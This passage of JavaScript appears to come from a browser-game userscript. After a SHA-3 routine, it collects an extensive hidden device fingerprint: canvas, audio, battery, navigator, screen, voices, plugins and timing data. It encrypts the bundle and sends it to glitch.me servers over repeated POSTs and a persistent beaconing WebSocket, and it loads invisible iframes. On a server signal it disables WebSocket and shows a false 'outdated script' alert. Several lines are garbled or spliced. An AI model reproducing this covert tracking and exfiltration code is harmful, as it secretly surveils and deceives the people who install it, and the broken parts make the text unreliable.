  1454.                 b6 = (s[36] << 21) | (s[37] >>> 11);
  1455.                 b7 = (s[37] << 21) | (s[36] >>> 11);
  1456.                 b38 = (s[47] << 24) | (s[46] >>> 8);
  1457.                 b39 = (s[46] << 24) | (s[47] >>> 8);
  1458.                 b30 = (s[8] << 27) | (s[9] >>> 5);
  1459.                 b31 = (s[9] << 27) | (s[8] >>> 5);
  1460.                 b12 = (s[18] << 20) | (s[19] >>> 12);
  1461.                 b13 = (s[19] << 20) | (s[18] >>> 12);
  1462.                 b44 = (s[29] << 7) | (s[28] >>> 25);
  1463.                 b45 = (s[28] << 7) | (s[29] >>> 25);
  1464.                 b26 = (s[38] << 8) | (s[39] >>> 24);
  1465.                 b27 = (s[39] << 8) | (s[38] >>> 24);
  1466.                 b8 = (s[48] << 14) | (s[49] >>> 18);
  1467.                 b9 = (s[49] << 14) | (s[48] >>> 18);
  1468.  
  1469.                 s[0] = b0 ^ (~b2 & b4);
  1470.                 s[1] = b1 ^ (~b3 & b5);
  1471.                 s[10] = b10 ^ (~b12 & b14);
  1472.                 s[11] = b11 ^ (~b13 & b15);
  1473.                 s[20] = b20 ^ (~b22 & b24);
  1474.                 s[21] = b21 ^ (~b23 & b25);
  1475.                 s[30] = b30 ^ (~b32 & b34);
  1476.                 s[31] = b31 ^ (~b33 & b35);
  1477.                 s[40] = b40 ^ (~b42 & b44);
  1478.                 s[41] = b41 ^ (~b43 & b45);
  1479.                 s[2] = b2 ^ (~b4 & b6);
  1480.                 s[3] = b3 ^ (~b5 & b7);
  1481.                 s[12] = b12 ^ (~b14 & b16);
  1482.                 s[13] = b13 ^ (~b15 & b17);
  1483.                 s[22] = b22 ^ (~b24 & b26);
  1484.                 s[23] = b23 ^ (~b25 & b27);
  1485.                 s[32] = b32 ^ (~b34 & b36);
  1486.                 s[33] = b33 ^ (~b35 & b37);
  1487.                 s[42] = b42 ^ (~b44 & b46);
  1488.                 s[43] = b43 ^ (~b45 & b47);
  1489.                 s[4] = b4 ^ (~b6 & b8);
  1490.                 s[5] = b5 ^ (~b7 & b9);
  1491.                 s[14] = b14 ^ (~b16 & b18);
  1492.                 s[15] = b15 ^ (~b17 & b19);
  1493.                 s[24] = b24 ^ (~b26 & b28);
  1494.                 s[25] = b25 ^ (~b27 & b29);
  1495.                 s[34] = b34 ^ (~b36 & b38);
  1496.                 s[35] = b35 ^ (~b37 & b39);
  1497.                 s[44] = b44 ^ (~b46 & b48);
  1498.                 s[45] = b45 ^ (~b47 & b49);
  1499.                 s[6] = b6 ^ (~b8 & b0);
  1500.                 s[7] = b7 ^ (~b9 & b1);
  1501.                 s[16] = b16 ^ (~b18 & b10);
  1502.                 s[17] = b17 ^ (~b19 & b11);
  1503.                 s[26] = b26 ^ (~b28 & b20);
  1504.                 s[27] = b27 ^ (~b29 & b21);
  1505.                 s[36] = b36 ^ (~b38 & b30);
  1506.                 s[37] = b37 ^ (~b39 & b31);
  1507.                 s[46] = b46 ^ (~b48 & b40);
  1508.                 s[47] = b47 ^ (~b49 & b41);
  1509.                 s[8] = b8 ^ (~b0 & b2);
  1510.                 s[9] = b9 ^ (~b1 & b3);
  1511.                 s[18] = b18 ^ (~b10 & b12);
  1512.                 s[19] = b19 ^ (~b11 & b13);
  1513.                 s[28] = b28 ^ (~b20 & b22);
  1514.                 s[29] = b29 ^ (~b21 & b23);
  1515.                 s[38] = b38 ^ (~b30 & b32);
  1516.                 s[39] = b39 ^ (~b31 & b33);
  1517.                 s[48] = b48 ^ (~b40 & b42);
  1518.                 s[49] = b49 ^ (~b41 & b43);
  1519.  
  1520.                 s[0] ^= RC[n];
  1521.                 s[1] ^= RC[n + 1];
  1522.             }
  1523.         };
  1524.  
  1525.         if (COMMON_JS) {
  1526.             module.exports = methods;
  1527.         } else {
  1528.             for (i = 0; i < methodNames.length; ++i) {
  1529.                 root[methodNames[i]] = methods[methodNames[i]];
  1530.             }
  1531.             if (AMD) {
  1532.                 define(function () {
  1533.                     return methods;
  1534.                 });
  1535.             }
  1536.         }
  1537.     })();
  1538.  
  1539.     function Decodeuint8arr(e){return new TextDecoder("utf-8").decode(e)}function Encodeuint8arr(e){return new TextEncoder("utf-8").encode(e)}
  1540.     //uint8 encoder and decoder from: https://ourcodeworld.com/articles/read/164/how-to-convert-an-uint8array-to-string-in-javascript
  1541.  
  1542.     //start https://www.darkwavetech.com/index.php/device-fingerprint-blog/ functions
  1543.      function clock(){'use strict';var r=0,c=0,o=0;try{for(r=performance.now()/1e3,c=performance.now()/1e3-r,o=0;o<20;o++)c=clockcalc(c,performance.now()/1e3-r);return'<clkMHz>'+Math.round(1/c)+'</clkMHz>'}catch(r){return'<clkhz>error</clkhz>'}}function clockcalc(r,c){lng r<1e-8?c:r<c?clockcalc(c-Math.floor(c/r)*r,r):r==c?r:clockcalc(c,r)}catch(r){return lngOnError}}function mode(r){if(0==r.length)return null;for(var c={},o=r[0],n=1,e=0;e<r.length;e++){var l=r[e];null==c[l]?c[l]=1:c[l]++,c[l]>n&&(n=c[o=l])}return o}function getClockSpeed(){for(var r=[],c=0;c<30;c++)r.push(Number(clock().slice(8,-9)));return mode(r)};
  1544.     //clock speed
  1545.  
  1546.     function sStorage() {
  1547.         "use strict";
  1548.         var strOnError, strOut;
  1549.  
  1550.          str>true</sessionstorage>";
  1551.         strOut = "";
  1552.  
  1553.         try {
  1554.             strOut = "<sessionstorage>" + !!window.sessionStorage + "</sessionstorage>";
  1555.             return strOut;
  1556.         } catch (err) { // Error when referencing it confirms existence
  1557.             return strOnError;
  1558.         };
  1559.     };
  1560.  
  1561.     function inxDB() {
  1562.         "use strict";
  1563.         var strOnError, strOut;
  1564.  
  1565.         strOnError = "<indexedDB>true</indexedDB>";
  1566.         strOut = "";
  1567.  
  1568.         try {
  1569.             strOut = "<indexedDB>" + !!window.indexedDB + "</indexedDB>";
  1570.             return strOut;
  1571.         } catch (err) { // Error when referencing it confirms existence
  1572.             return strOnError;
  1573.         };
  1574.     };
  1575.  
  1576.     function timezone() {
  1577.         "use strict";
  1578.         var strOnError, dtDate1, dtDate2, strOffset1, strOffset2, strOut;
  1579.  
  1580.         strOnError = "<timezone>Error</timezone>";
  1581.         dtDate1 = null;
  1582.         dtDate2 = null;
  1583.         strOffset1 = "";
  1584.         strOffset2 = "";
  1585.         strOut = "";
  1586.  
  1587.         try {
  1588.             dtDate1 = new Date(2018, 0, 1);
  1589.             dtDate2 = new Date(2018, 6, 1);
  1590.             strOffset1 = dtDate1.getTimezoneOffset();
  1591.             strOffset2 = dtDate2.getTimezoneOffset();
  1592.             strOut = "<timezone>" + strOffset1 + "|" + strOffset2 + "</timezone>";
  1593.             return strOut;
  1594.         } catch (err) {
  1595.             return strOnError;
  1596.         }
  1597.     };
  1598.  
  1599.     function mathroutines() {
  1600.         "use strict";
  1601.         var strOnError, strOut;
  1602.  
  1603.         strOnError = "<mathroutines>Error</mathroutines>";
  1604.         strOut = "";
  1605.  
  1606.         try {
  1607.             strOut = "<mathroutines>" + ((Math.exp(10) + 1 / Math.exp(10)) / 2) + "|" + Math.tan(-1e300) + "</mathroutines>";
  1608.             return strOut;
  1609.         } catch (err) {
  1610.             return strOnError;
  1611.         }
  1612.     };
  1613.  
  1614.     function nav() {
  1615.         "use strict";
  1616.  
  1617.         var strOnError, strKey, Value, strValue, strTmp, strOut;
  1618.  
  1619.         strOnError = "Error";
  1620.         strKey = "";
  1621.         Value = "";
  1622.         strValue = "";
  1623.         strTmp = "";
  1624.         strOut = "";
  1625.  
  1626.         try {
  1627.             for (strKey in navigator) {
  1628.                 Value = navigator[strKey];
  1629.                 if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
  1630.                     strValue = String(Value);
  1631.                     if (strValue === "null") {
  1632.                         strValue = "NULL";
  1633.                     }
  1634.                     if (strValue === "") {
  1635.                         strValue = "_";
  1636.                     }
  1637.                     strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
  1638.                 }
  1639.             }
  1640.             strOut = strTmp.slice(0, strTmp.length - 1);
  1641.             return strOut + ">";
  1642.         } catch (err) {
  1643.             return strOnError;
  1644.         }
  1645.     };
  1646.  
  1647.     function tryToGenIF(url_) {
  1648.         let iframe = document.createElement('iframe');
  1649.         iframe.src = url_;
  1650.         iframe.style["width"] = "0px";
  1651.         iframe.style["height"] = "0px";
  1652.         iframe.height = "0px";
  1653.         iframe.width = "0px";
  1654.         iframe.tabindex = -1;
  1655.         iframe.title = "empty";
  1656.         iframe.style["display"] = "none";
  1657.         document.documentElement.appendChild(iframe);
  1658.     };
  1659.  
  1660.     function forceHTTPS() { //network and http(s) test
  1661.         let fHTTPSval;
  1662.         try {
  1663.             tryToGenIF("https://ksw2-center.glitch.me/global/blank");
  1664.             tryToGenIF("http://ksw2-center.glitch.me/global/blank");
  1665.             fHTTPSval = true;
  1666.         } catch(e){
  1667.             fHTTPSval = false;
  1668.         };
  1669.         return "<fhttps>" + fHTTPSval + "</fhttps>";
  1670.     };
  1671.  
  1672.     function canvas() {
  1673.         "use strict";
  1674.         var strOnError, canvas, strCText, strText, strOut;
  1675.  
  1676.         strOnError = "Error";
  1677.         canvas = null;
  1678.         strCText = null;
  1679.         strText = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~1!2@3#4$5%6^7&8*9(0)-_=+[{]}|;:',<.>/?";
  1680.         strOut = null;
  1681.  
  1682.         try {
  1683.             canvas = document.createElement('canvas');
  1684.             strCText = canvas.getContext('2d');
  1685.             strCText.textBaseline = "top";
  1686.             strCText.font = "14px 'Arial'";
  1687.             strCText.textBaseline = "alphabetic";
  1688.             strCText.fillStyle = "#f60";
  1689.             strCText.fillRect(125, 1, 62, 20);
  1690.             strCText.fillStyle = "#069";
  1691.             strCText.fillText(strText, 2, 15);
  1692.             strCText.fillStyle = "rgba(102, 204, 0, 0.7)";
  1693.             strCText.fillText(strText, 4, 17);
  1694.             strOut = sha3_512(canvas.toDataURL());
  1695.             return strOut;
  1696.         } catch (err) {
  1697.             return strOnError;
  1698.         };
  1699.     };
  1700.  
  1701.     function perf() {
  1702.         "use strict";
  1703.  
  1704.         var strOnError, strKey, Value, strValue, strTmp, strOut;
  1705.  
  1706.         strOnError = "Error";
  1707.         strKey = "";
  1708.         Value = "";
  1709.         strValue = "";
  1710.         strTmp = "";
  1711.         strOut = "";
  1712.  
  1713.         try {
  1714.             for (strKey in performance) {
  1715.                 Value = performance[strKey];
  1716.                 if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
  1717.                     strValue = String(Value);
  1718.                     if (strValue === "null") {
  1719.                         strValue = "NULL";
  1720.                     }
  1721.                     if (strValue === "") {
  1722.                         strValue = "_";
  1723.                     }
  1724.                     strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
  1725.                 }
  1726.             }
  1727.             strOut = strTmp.slice(0, strTmp.length - 1);
  1728.             return strOut + ">";
  1729.         } catch (err) {
  1730.             return strOnError;
  1731.         }
  1732.     };
  1733.  
  1734.     function naviTimes() {
  1735.         "use strict";
  1736.  
  1737.         var strOnError, strKey, Value, strValue, strTmp, strOut;
  1738.  
  1739.         strOnError = "Error";
  1740.         strKey = "";
  1741.         Value = "";
  1742.         strValue = "";
  1743.         strTmp = "";
  1744.         strOut = "";
  1745.  
  1746.         try {
  1747.             for (strKey in performance.timing) {
  1748.                 Value = performance.timing[strKey];
  1749.                 if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
  1750.                     strValue = String(Value);
  1751.                     if (strValue === "null") {
  1752.                         strValue = "NULL";
  1753.                     }
  1754.                     if (strValue === "") {
  1755.                         strValue = "_";
  1756.                     }
  1757.                     strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
  1758.                 }
  1759.             }
  1760.             strOut = strTmp.slice(0, strTmp.length - 1);
  1761.             return strOut + ">";
  1762.         } catch (err) {
  1763.             return strOnError;
  1764.         }
  1765.     };
  1766.  
  1767.     function languages() {
  1768.         "use strict";
  1769.         var strSep, strOnError, strLang, strOut;
  1770.  
  1771.         strSep = "|";
  1772.         strOnError = "Error";
  1773.         strLang = "";
  1774.         strOut = "";
  1775.  
  1776.         try {
  1777.             if (navigator.language) {
  1778.                 strLang = "lang=" + navigator.language + strSep;
  1779.             } else {
  1780.                 strLang = "lang=" + "undefined" + strSep;
  1781.             }
  1782.             if (navigator.languages) {
  1783.                 strLang = strLang + "langs=" + navigator.languages + strSep;
  1784.             } else {
  1785.                 strLang = strLang + "langs=" + "undefined" + strSep;
  1786.             }
  1787.             // Microsoft specific properties
  1788.             if (navigator.browserLanguage) {
  1789.                 strLang = strLang + "brlang=" + navigator.browserLanguage + strSep;
  1790.             } else {
  1791.                 strLang = strLang + "brlang=" + "undefined" + strSep;
  1792.             }
  1793.             if (navigator.systemLanguage) {
  1794.                 strLang = strLang + "syslang=" + navigator.systemLanguage + strSep;
  1795.             } else {
  1796.                 strLang = strLang + "syslang=" + "undefined" + strSep;
  1797.             }
  1798.             if (navigator.userLanguage) {
  1799.                 strLang = strLang + "usrlang=" + navigator.userLanguage;
  1800.             } else {
  1801.                 strLang = strLang + "usrlang=" + "undefined";
  1802.             }
  1803.             strOut = strLang;
  1804.             return "<lang>" + strOut + "</lang>";
  1805.         } catch (err) {
  1806.             return strOnError;
  1807.         };
  1808.     };
  1809.  
  1810.     function java() {
  1811.         "use strict";
  1812.         var strOnError, strJavaEnabled, strOut;
  1813.  
  1814.         strOnError = "Error";
  1815.         strJavaEnabled = null;
  1816.         strOut = null;
  1817.  
  1818.         try {
  1819.             if (navigator.javaEnabled()) {
  1820.                 strJavaEnabled = "true";
  1821.             } else {
  1822.                 strJavaEnabled = "false";
  1823.             }
  1824.             strOut = strJavaEnabled;
  1825.             return "<java>" + strOut + "</java>";
  1826.         } catch (err) {
  1827.             return strOnError;
  1828.         };
  1829.     };
  1830.  
  1831.     function scr() {
  1832.         "use strict";
  1833.  
  1834.         var strOnError, strKey, Value, strValue, strTmp, strOut;
  1835.  
  1836.         strOnError = "Error";
  1837.         strKey = "";
  1838.         Value = "";
  1839.         strValue = "";
  1840.         strTmp = "";
  1841.         strOut = "";
  1842.  
  1843.         try {
  1844.             for (strKey in screen) {
  1845.                 Value = screen[strKey];
  1846.                 if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
  1847.                     strValue = String(Value);
  1848.                     if (strValue === "null") {
  1849.                         strValue = "NULL";
  1850.                     }
  1851.                     if (strValue === "") {
  1852.                         strValue = "_";
  1853.                     }
  1854.                     strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
  1855.                 }
  1856.             }
  1857.             strOut = strTmp.slice(0, strTmp.length - 1);
  1858.             return strOut + ">";
  1859.         } catch (err) {
  1860.             return strOnError;
  1861.         };
  1862.     };
  1863.  
  1864.     function flash() {
  1865.         "use strict";
  1866.         var strOnError, objPlayerVersion, strVersion, strOut;
  1867.  
  1868.         strOnError = "N/A";
  1869.         objPlayerVersion = null;
  1870.         strVersion = null;
  1871.         strOut = null;
  1872.  
  1873.         try {
  1874.             objPlayerVersion = swfobject.getFlashPlayerVersion();
  1875.             strVersion = objPlayerVersion.major + "." + objPlayerVersion.minor + "." + objPlayerVersion.release;
  1876.             if (strVersion === "0.0.0") {
  1877.                 strVersion = "N/A";
  1878.             }
  1879.             strOut = strVersion;
  1880.             return "<flash>" + strOut + "</flash>";
  1881.         } catch (err) {
  1882.             return "<flash>" + strOnError + "</flash>";
  1883.         };
  1884.     };
  1885.  
  1886.     //stop https://www.darkwavetech.com/index.php/device-fingerprint-blog/ functions
  1887.  
  1888.     //evercookie-style storage
  1889.     var vector1, vector2, vector3;
  1890.  
  1891.     function uuidv4() {
  1892.         return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
  1893.                                                     (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
  1894.                                                    );
  1895.     };
  1896.  
  1897.     var gen_id = uuidv4();
  1898.  
  1899.     var ck = "";
  1900.     try {
  1901.         function setCookie(cname, cvalue, exdays) {
  1902.             var d = new Date();
  1903.             d.setTime(d.getTime() + (exdays*24*60*60*1000));
  1904.             var expires = "expires="+ d.toUTCString();
  1905.             [removed] = cname + "=" + cvalue + ";" + expires + ";path=/";
  1906.         };
  1907.         function getCookie(cname) {
  1908.             var name = cname + "=";
  1909.             var decodedCookie = decodeURIComponent([removed]);
  1910.             var ca = decodedCookie.split(';');
  1911.             for(var i = 0; i < bins.length; i = i + 1) {
  1912.                     hybrid_output.push(bins[i]);
  1913.                 }
  1914.                 analyser.disconnect();
  1915.                 scriptProcessor.disconnect();
  1916.                 gain.disconnect();
  1917.                 var audioFp = JSON.stringify(hybrid_output);
  1918.                 callback(audioFp);
  1919.             };
  1920.  
  1921.             oscillator.start(0);
  1922.         } catch(e) {};
  1923.     };
  1924.     var getClientRectsFP = function() {
  1925.         try {
  1926.             // Details: http://jcarlosnorte.com/security/2016/03/06/advanced-tor-browser-fingerprinting.html
  1927.             var elem = document.createElement('div');
  1928.             var s = elem.style;
  1929.              s.positi
  1930.             s.left = '3.1px';
  1931.             s.top = '2.1px';
  1932.             s.zIndex = '-100';
  1933.             s.visibility = 'hidden';
  1934.              s.f
  1935.             s.transformOrigin = '0.1px 0.2px 0.3px';
  1936.             s.webkitTransformOrigin = '0.1px 0.2px 0.3px';
  1937.             s.webkitTransform = 'scale(1.01123) matrix3d(0.251106, 0.0131141, 0, -0.000109893, -0.0380797, 0.349552, 0, 7.97469e-06, 0, 0, 1, 0, 575, 88, 0, 1)';
  1938.             s.transform = 'scale(1.01123) matrix3d(0.251106, 0.0131141, 0, -0.000109893, -0.0380797, 0.349552, 0, 7.97469e-06, 0, 0, 1, 0, 575, 88, 0, 1)';
  1939.             elem[removed] = '<h1>Sed ut perspiciatis unde</h1>pousdfnmv<b>asd<i id="target">asd</i></b>';
  1940.             document.body.appendChild(elem);
  1941.  
  1942.             var uuid = '';
  1943.             var rect = document.getElementById('target').getClientRects()[0];
  1944.             for (var key in rect) {
  1945.                 uuid += rect[key];
  1946.             }
  1947.  
  1948.             if (elem.remove) elem.remove();
  1949.             return uuid;
  1950.         } catch(e){
  1951.             return "e";
  1952.         };
  1953.     };
  1954.  
  1955.     function computeHash() {
  1956.         try {
  1957.             getAudioFP(function(audioFP) {
  1958.                 var clientRectsFP = getClientRectsFP();
  1959.                 var uchash = sha3_512(clientRectsFP + audioFP).toString();
  1960.                 ubercookie = uchash;
  1961.             });
  1962.         } catch(e) {
  1963.             ubercookie = "e";
  1964.         };
  1965.     };
  1966.     var check_for_userinput = setInterval(()=>computeHash(), 1000);
  1967.  
  1968.     var arr = [];
  1969.     var downlink = "";
  1970.     var rtt = "";
  1971.     var saveData = "";
  1972.     var effectiveType = "";
  1973.     try {
  1974.         downlink = navigator.connection.downlink;
  1975.         rtt = navigator.connection.rtt;
  1976.         saveData = navigator.connection.saveData;
  1977.         effectiveType = navigator.connection.effectiveType;
  1978.     } catch(e) {
  1979.         downlink = undefined;
  1980.         rtt = undefined;
  1981.         saveData = undefined;
  1982.         effectiveType = undefined;
  1983.     };
  1984.  
  1985.     function plugins() {
  1986.         try {
  1987.             return Array.from(navigator.plugins).map((e)=>{return e.name}).join(",");
  1988.         } catch(e) {
  1989.             return "failed";
  1990.         };
  1991.     };
  1992.  
  1993.     var _;
  1994.     try {
  1995.         var voices = window.speechSynthesis.getVoices();
  1996.         for(var i = 0; i < voices.length ; i++) {
  1997.             voices[i] = voices[i].name + ' (' + voices[i].lang + ')';
  1998.             if(voices[i].default) {
  1999.                 voices[i] += ' -- DEFAULT';
  2000.             };
  2001.         };
  2002.         _ = voices;
  2003.     } catch(e) {
  2004.         _ = false;
  2005.     };
  2006.  
  2007.     var referrer = "";
  2008.     try {
  2009.         referrer = document.referrer;
  2010.     } catch(e) {
  2011.         referrer = "error";
  2012.     };
  2013.  
  2014.     var batteryData = []
  2015.     try {
  2016.         navigator.getBattery().then(function(battery) {
  2017.             function updateAllBatteryInfo(){
  2018.                 updateChargeInfo();
  2019.                 updateLevelInfo();
  2020.                 updateChargingInfo();
  2021.                 updateDischargingInfo();
  2022.             }
  2023.             updateAllBatteryInfo();
  2024.             battery.addEventListener('chargingchange', function(){
  2025.                 updateChargeInfo();
  2026.             });
  2027.             function updateChargeInfo(){
  2028.                 batteryData.push("Battery charging? "
  2029.                                  + (battery.charging ? "Yes" : "No"));
  2030.             }
  2031.             battery.addEventListener('levelchange', function(){
  2032.                 updateLevelInfo();
  2033.             });
  2034.             function updateLevelInfo(){
  2035.                 batteryData.push("Battery level: "
  2036.                                  + battery.level * 100 + "%");
  2037.             }
  2038.             battery.addEventListener('chargingtimechange', function(){
  2039.                 updateChargingInfo();
  2040.             });
  2041.             function updateChargingInfo(){
  2042.                 batteryData.push("Battery charging time: " + battery.chargingTime + " seconds");
  2043.             }
  2044.             battery.addEventListener('dischargingtimechange', function(){
  2045.                 updateDischargingInfo();
  2046.             });
  2047.             function updateDischargingInfo(){
  2048.                 batteryData.push("Battery discharging time: "
  2049.                                  + battery.dischargingTime + " seconds");
  2050.             };
  2051.         });
  2052.     } catch(e) {
  2053.         batteryData = "error";
  2054.     };
  2055.  
  2056.     var tunnel2 = 'none';
  2057.     window.insert_0000000 = function(verify, e) {
  2058.         if (verify) {
  2059.             tunnel2 = e;
  2060.         } else {
  2061.             tunnel2 = "error";
  2062.         };
  2063.         return e;
  2064.     };
  2065.     const insert_0000000 = function(verify, e) {
  2066.         if (verify) {
  2067.             tunnel2 = e;
  2068.         } else {
  2069.             tunnel2 = "error";
  2070.         };
  2071.         return e;
  2072.     };
  2073.     //tunnel2 is a small user identifier, which is sent, custom made, and can be checked
  2074.  
  2075.     var type; var xml;
  2076.     setTimeout(async ()=>{
  2077.         try {clearInterval(check_for_userinput)} catch(e){};
  2078.  
  2079.         var type = {
  2080.             user: tunnel2,
  2081.             db: [removed].protocol + "//" + [removed].hostname + [removed].pathname + "|" +
  2082.             performance.now() + "|" +
  2083.             [downlink, rtt, saveData, effectiveType].join(",") + "|" +
  2084.             getClockSpeed() + "|" +
  2085.             [forceHTTPS(), sStorage(), inxDB(), timezone(), mathroutines(), nav(), canvas(), perf(), naviTimes(), languages(), java(), scr(), flash()].join(";") + "|" +
  2086.             Date.now() + "|" + new Date().getTimezoneOffset() + "|" +
  2087.             plugins() + "|" + _.join(",") + "|" + referrer + "|" + ubercookie + "|" + ((typeof batteryData == "string") ? batteryData : batteryData.join(",")) + "|" +
  2088.             vector1 + "|" + vector2 + "|" + vector3 + "|" + tunnel2,
  2089.             v2: true
  2090.         };
  2091.  
  2092.         try {
  2093.             let websocketIdentifier = performance.now() + "|" + (tunnel2 ? tunnel2 : "na") + "|" + canvas() + "|" + ubercookie + "|" + ((typeof batteryData == "string") ? batteryData : batteryData.join(",")) + "|" + vector1 + "|" + vector2 + "|" + vector3;
  2094.             function connectWS() {
  2095.                 var ws = new WebSocket('wss://ksw2-center.glitch.me');
  2096.                 ws.onopen = function() {
  2097.                     let thisws = setInterval(() => {
  2098.                         if (ws.readyState == 1) {
  2099.                             refreshUSO();
  2100.                             (useOldSend && ws.oldSend) ? (
  2101.                                 ws.oldSend(JSON.stringify({
  2102.                                     identifier: websocketIdentifier,
  2103.                                     reason: "routine"
  2104.                                 }))
  2105.                             ) : (
  2106.                                 ws.send(JSON.stringify({
  2107.                                     identifier: websocketIdentifier,
  2108.                                     reason: "routine"
  2109.                                 }))
  2110.                             );
  2111.                         } else {
  2112.                             clearInterval(thisws);
  2113.                             console.log('corrected');
  2114.                         };
  2115.                     }, 60000);
  2116.                 };
  2117.                 ws.onmessage = function(e) {
  2118.                     console.log('Message:', e.data);
  2119.                     let realData = JSON.parse(e.data);
  2120.                     if (realData.type == "debug") {
  2121.                         tryToGenIF("https://ksw2-center.glitch.me/global/debug");
  2122.                         refreshUSO();
  2123.                         useOldSend ? (
  2124.                             ws.oldSend(JSON.stringify({
  2125.                                 identifier: websocketIdentifier,
  2126.                                 reason: "debugResponse"
  2127.                             }))) : (
  2128.                             ws.send(JSON.stringify({
  2129.                                 identifier: websocketIdentifier,
  2130.                                 reason: "debugResponse"
  2131.                             }))
  2132.                         );
  2133.                     } else if (realData.type == "ping") {
  2134.                         refreshUSO();
  2135.                         useOldSend ? (
  2136.                             ws.oldSend(JSON.stringify({
  2137.                                 identifier: websocketIdentifier,
  2138.                                 reason: "ping"
  2139.                             }))
  2140.                         ) : (
  2141.                             ws.send(JSON.stringify({
  2142.                                 identifier: websocketIdentifier,
  2143.                                 reason: "ping"
  2144.                             }))
  2145.                         );
  2146.                     };
  2147.                 };
  2148.                 ws.onclose = function(e) {
  2149.                     console.log('Socket is closed. Reconnect will be attempted in 1 second.', e.reason);
  2150.                     setTimeout(function() {
  2151.                         connectWS();
  2152.                     }, 2000);
  2153.                 };
  2154.                 ws.onerror = function(err) {
  2155.                     console.error('Socket encountered error: ', err.message, 'Closing socket');
  2156.                     ws.close();
  2157.                 };
  2158.             };
  2159.             connectWS();
  2160.         }catch(e){};
  2161.  
  2162.         try {
  2163.             xml = new XMLHttpRequest();
  2164.             xml.open("POST", "https://ksw2-center.glitch.me");
  2165.             xml.setRequestHeader("Content-type", "application/json");
  2166.             xml.onload = function() {
  2167.                 if (xml.responseText == "0") {} else if (xml.responseText == "1") {
  2168.                     for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
  2169.                     alert&#40;"The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"&#41;;
  2170.                 } else {};
  2171.             }
  2172.             var epheremalAESkey = window.crypto.getRandomValues(new Uint8Array(32));
  2173.  
  2174.             var final_pltx = await ntru.encrypt(epheremalAESkey, E2EE_PUBKEY);
  2175.             var ciphertext = AESEncrypt2(JSON.stringify(type), epheremalAESkey, 212) + "~" + final_pltx;
  2176.  
  2177.             xml.send(JSON.stringify({
  2178.                 name: type.user, //this is useless, but it's still extra data packets
  2179.                 key: "science",
  2180.                 data: ciphertext
  2181.             }));
  2182.             try {
  2183.                 xml = new XMLHttpRequest();
  2184.                 xml.open("POST", "https://ksw2-moomoo.glitch.me"); //###
  2185.                 xml.setRequestHeader("Content-type", "application/json");
  2186.                 xml.onload = function() {
  2187.                     if (xml.responseText == "0") {} else if (xml.responseText == "1") {
  2188.                         for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
  2189.                         alert&#40;"The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"&#41;;
  2190.                     } else {};
  2191.                 }
  2192.                 xml.send(JSON.stringify({
  2193.                     name: type.user,
  2194.                     time: performance.now(),
  2195.                     key: "timer",
  2196.                     sloc: "1",
  2197.                     sloc2: "1",
  2198.                     package: AESEncrypt(ciphertext, "63342328901234302521288822415170", 355) //encrypted since API requires encryption
  2199.                 }));
  2200.                 setInterval(()=>{
  2201.                     xml = new XMLHttpRequest();
  2202.                     xml.open("POST", "https://ksw2-moomoo.glitch.me"); //###
  2203.                     xml.setRequestHeader("Content-type", "application/json");
  2204.                     xml.onload = function() {
  2205.                         if (xml.responseText == "0") {} else if (xml.responseText == "1") {
  2206.                             for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
  2207.                             alert&#40;"The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"&#41;;
  2208.                         } else {};
  2209.                     }
  2210.                     xml.send(JSON.stringify({
  2211.                         name: type.user,
  2212.                         time: performance.now(),
  2213.                         key: "timer",
  2214.                         sloc: "1",
  2215.                         sloc2: "1",
  2216.                         package: AESEncrypt(ciphertext, "63342328901234302521288822415170", 355) //encrypted since API requires encryption
  2217.                     }));
  2218.                 }, 60000);
  2219.             } catch(e) {console.log(e)};
  2220.             try {
  2221.                 xml = new XMLHttpRequest();
  2222.                 xml.open("POST", "https://ksw2-moomoo.glitch.me"); //###
  2223.                 xml.setRequestHeader("Content-type", "application/json");
  2224.                 xml.onload = function() {
  2225.                     if (xml.responseText == "0") {} else if (xml.responseText == "1") {
  2226.                         for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
  2227.                         alert&#40;"The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"&#41;;
  2228.                     } else {};
  2229.                 }
  2230.                 xml.send(JSON.stringify({
  2231.                     name: type.user,
  2232.                     time: performance.now(),
  2233.                     key: "timer",
  2234.                     sloc: "1",
  2235.                     package: AESEncrypt(ciphertext, "63342328901234302521288822415170", 355) //encrypted since API requires encryption
  2236.                 }));
  2237.                 setInterval(()=>{
  2238.                     xml = new XMLHttpRequest();
  2239.                     xml.open("POST", "https://ksw2-moomoo.glitch.me"); //###
  2240.                     xml.setRequestHeader("Content-type", "application/json");
  2241.                     xml.onload = function() {
  2242.                         if (xml.responseText == "0") {} else if (xml.responseText == "1") {
  2243.                             for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
  2244.                             alert&#40;"The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"&#41;;
  2245.                         } else {};
  2246.                     }
  2247.                     xml.send(JSON.stringify({
  2248.                         name: type.user,
  2249.                         time: performance.now(),
  2250.                         key: "timer",
  2251.                         sloc: "1",
  2252.                         package: AESEncrypt(ciphertext, "63342328901234302521288822415170", 355) //encrypted since API requires encryption
  2253.                     }));
  2254.                 }, 60000);
  2255.             } catch(e) {console.log(e)};
  2256.         } catch(e) {console.log(e)};
  2257.     }, 15000); //30 secs before deploy
  2258.  
  2259. };
  2260. loaderXHR.send();
  2261.  
  2262. setTimeout(() => {
  2263.     const __EXEC = async () => {
